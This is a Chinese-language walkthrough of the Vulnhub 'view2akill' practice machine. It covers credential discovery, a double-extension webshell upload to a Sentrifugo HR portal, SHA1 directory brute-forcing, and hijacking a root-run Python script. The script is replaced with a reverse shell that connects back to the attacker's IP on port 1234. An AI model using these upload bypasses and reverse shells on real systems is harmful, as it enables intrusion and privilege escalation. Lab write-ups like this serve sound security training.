Vulnhub:view2akill 靶机练习

环境:VMWARE + KALI
目标:root flag
步骤:
 
1.nmap扫描
 
2、先一个接一个地打开了这四个目录,并在<ip>上看到了人力资源获取门户
 
 
在dev目录下,有一些RFID设备上的pdf文件,文本文件,图像,最重要的是看到了备份存档。下载下来。
 
在该存档中,有4个文本文件,以此打开它们,其中一个重要的文本文件引起注意了,其中包含有关新员工chuck的信息。
 
现在,在dev目录中,PDF有用了!HID阅读器的视频+转换频率中的密码=秘密单词,在其中一份PDF中,看到了有关HID感应卡阅读器的手册,发现频率为125Hz。
 
我没有在dev中看到任何视频,但是有一个包含 trigger的gif文件。上面写着“ helicopter”。
 
因此,有效的凭证是:[email protected],密码:helicopter125,在/zorin中的HR portal登录它。
 
上面说/sentrifugo是HR portal临时搬迁的地方。到那里是为找登录页面。
使用找到的凭据成功登录了。现在试图在sendrifugo平台中找漏洞,幸运的是,在exploit-db中发现了一个漏洞。页面的帮助中看到了sentrifugo的使用手册,显示是3.0版本。
 
 
转到 portal>expenses>add>receipts,并使用双重扩展方法添加了php-reverse-shell,这个是kali自带的,/usr/share/webshells中可用的webshell。只需将代码更改为自己的IP,并将其扩展为.php.doc。
 
现在,使用burpsuite拦截上传,并将其作为php传递,修改攻击机IP地址,成功发送。
 
上传完shell后(点击页面中的download),就在端口1234上启动了一个反向netcat连接。
 
首先,使python -c 'import pty;pty.spawn("/bin/bash")' 获得一个更稳定的shell。
 
接下来,遍历主目录,发现那里有4个用户目录。在/ home / jenny中,有一个名为dsktp_backup.zip的文件,因此将其解压缩并找到了两个文本文件。其中一个包含jenny的密码,另一个包含一些指令,其中提到了一个名为aView.py的脚本。
 
在kali机上使用jenny用户登录不到ssh,总是报错,于是用secureCRT连接了,猜想可能是自己的ka'li机没有开启ssh的关系吧?先不管了。能登录到就好。使用密码!!!sfbay!!!登录jenny用户,并遍历/ home / max以找到该python脚本。查看源代码,发现它只是打印出一些文本。
 
但是需要注意的是,它正在以最大速度运行命令。在同一目录中有一个jenny无法读取的note.txt。因此,在预先存在的python脚本中添加了一些代码,这些代码将简单地输出note.txt文件,以希望对特权升级有用。使用脚本av.py,其内容与现有脚本加命令的内容相同,以打印出note.txt。
脚本内容如下:
  #!/usr/bin/python
  import os
  #
  # executed from php app add final wrapper/script here
  print "waiting on engineers to tweak final code"
  os.system('cat note.txt')
 
在受害者的/tmp目录中,使用wget命令下载这个脚本。然后在/home/max中找到stdout av.py,并将它的输出重定向到一个view .py中,这样当jenny运行它时,它也会显示note.txt
 
现在,值得注意的是,scarpine写到存在一个秘密目录,该目录使用以下算法进行了哈希处理:
  sha1(lower_alpha+”view”+digit+digit)
该目录位于端口8191上,必须找到。此时使用了一个名为mp64的工具,使用给定算法以明文形式创建此列表,然后编写了python脚本,将该列表转换为各自的SHA1哈希值。
  mp64 ?lview?d?d > fuzz.txt
  python fuzzing.py > new_fuzz.txt
然后,可以使用python /c脚本将字符串转换为sha1哈希,或使用一种在线工具,例如http://www.sha1-online.com/,下面的代码也可以做到这一点,但并不复杂。
  #!/usr/bin/python
  # -*- coding: UTF-8 -*-
  import string
  from hashlib import sha1
  import requests
  fuzz=[]
  for alpha in string.ascii_lowercase:
  for a in string.digits:
  for b in string.digits:
  payload= sha1((alpha + "view" + a + b + "\n").encode("utf-8")).hexdigest()
  fuzz.append(payload)
  file1 = open("directories.txt","w")
  for i in fuzz:
  file1.write(i)
  file1.write("\n")
  file1.close()
 
直接运行new.py脚本,将哈希值保存在directorys.txt文件中,桌面在便出现了directories.txt文件:
 
并使用该列表运行了dirb扫描
 
哇。找到了一堆文件。试图打开第一个目录.
 
与其他目录相比,该目录的长度异常。也许这有些东西。
 
看来找到遥控器了。使用该按钮执行此操作,并运行了一个名为run.php的脚本。
 
这句话似乎很熟悉。还记得aView.py文件吗?似乎此run.php文件正在从aView.php文件中获取标准输出并显示它。aView.py中的注释也说:“从php应用程序执行...”。因此,用pentestmonkey的python反向shell替换aView.py中的某些code。首先在Jenny中连接SSH,并使用nano来显示aView.py的内容
并用下列代码替换了aView.py,
  #!/usr/bin/python
  import os
  import socket
  import subprocess
  #
  # executed from php app add final wrapper/script here
  print “waiting on engineers to tweak final code”
  os.system(‘cat note.txt’)
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.connect(("172.168.10.37",1234))   #kali机地址和监听端口
  os.dup2(s.fileno(),0)
  os.dup2(s.fileno(),1)
  os.dup2(s.fileno(),2)
  p=subprocess.call([“/bin/sh”,”-i”])
 
点击页面中execute按钮,kali便返弹回shell了,还是root权限,依次打开root目录下的文件,找到flag:
 
根据提示,要在浏览器中打开<ip>:8007查看flag:
 
至此,这就是该靶机获取flag的过程。
 
 
 
 
 
 

猜你喜欢

转载自www.cnblogs.com/xydd/p/13206083.html